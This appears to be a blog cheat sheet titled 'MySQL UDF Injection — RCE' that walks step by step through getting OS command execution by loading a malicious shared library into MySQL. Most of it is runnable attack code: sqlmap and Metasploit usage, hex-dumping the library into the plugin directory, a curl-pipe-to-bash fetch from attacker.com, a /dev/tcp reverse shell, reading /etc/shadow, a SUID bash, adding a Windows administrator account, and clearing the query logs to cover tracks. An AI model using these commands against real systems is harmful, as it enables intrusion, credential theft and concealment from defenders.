MySQL Security
MySQL UDF Injection — RCE
Youssef
17 May 2026
MySQL UDF (User Defined Functions) — RCE
What are UDFs?
User Defined Functions (UDFs) allow MySQL to load and execute code from external shared libraries (.so on Linux, .dll on Windows). An attacker with sufficient privileges can upload a malicious library and use it to execute arbitrary OS commands — achieving full Remote Code Execution from within MySQL.
Required Privileges
-- You need ALL of these:
-- 1. FILE privilege (to write the .so to plugin directory)
-- 2. CREATE privilege (to create the function)
-- 3. INSERT privilege (on mysql.func or via CREATE FUNCTION syntax)
-- 4. secure_file_priv must be empty or point to plugin dir
-- Check
SHOW GRANTS;
SHOW VARIABLES LIKE 'plugin_dir'; -- where to write the .so
SHOW VARIABLES LIKE 'secure_file_priv'; -- must allow writing to plugin_dir
Step 1 — Obtain the UDF Binary
-- Option A: Use sqlmap's UDF payload (built-in)
sqlmap -u "URL" --os-shell
-- Option B: Use Metasploit
use exploit/multi/mysql/mysql_udf_payload
set RHOSTS target
set USERNAME root
set PASSWORD pass
run
-- Option C: Compile from source
-- https://github.com/mysqludf/lib_mysqludf_sys
gcc -shared -fPIC -o udf.so udf.c $(mysql_config --cflags)
-- Option D: Use pre-compiled binary from sqlmap
-- Linux x64: /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
-- Windows x64: /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
Step 2 — Upload the Library
-- Convert binary to hex first
-- In terminal:
xxd -p udf.so | tr -d '
'
-- In MySQL: write hex to plugin directory
SELECT 0x[hex_content] INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
-- Verify it was written
SELECT LOAD_FILE('/usr/lib/mysql/plugin/udf.so') IS NOT NULL;
-- Common plugin directory locations:
-- Linux: /usr/lib/mysql/plugin/ or /usr/lib64/mysql/plugin/
-- Windows: C:\Program Files\MySQL\MySQL Server X.X\lib\plugin\
Step 3 — Create the UDF Function
-- Create function that maps to sys_exec in the .so
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
-- Verify
SELECT * FROM mysql.func;
SHOW FUNCTION STATUS LIKE 'sys_%';
Step 4 — Execute OS Commands
-- sys_exec: runs command, returns exit code
SELECT sys_exec('id > /tmp/out');
SELECT sys_exec('curl http://attacker.com/shell.sh | bash');
SELECT sys_exec('chmod +s /bin/bash'); -- SUID bash
-- sys_eval: runs command, RETURNS output as string
SELECT sys_eval('id');
SELECT sys_eval('cat /etc/shadow');
SELECT sys_eval('ls /root');
-- Reverse shell
SELECT sys_exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1 &');
Windows-Specific UDF Attack
-- Windows plugin directory
SELECT 0x[hex_dll] INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 8.0\\lib\\plugin\\udf.dll';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll';
-- Execute commands
SELECT sys_exec('whoami > C:\\Windows\\Temp\\out.txt');
SELECT sys_exec('net user hacker P@ss123 /add');
SELECT sys_exec('net localgroup administrators hacker /add');
Cleanup (Covering Tracks)
-- Remove the UDF after use
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
-- Remove the library file
SELECT sys_exec('rm /usr/lib/mysql/plugin/udf.so');
-- Clear query logs
SET GLOBAL general_log = 'OFF';
TRUNCATE TABLE mysql.general_log;
🔴
Impact: UDF injection gives you OS-level command execution as the mysql OS user. If MySQL runs as root (common misconfiguration), this is immediate full system compromise. Even as the mysql user, privilege escalation to root is often achievable via SUID binaries or sudo misconfigurations.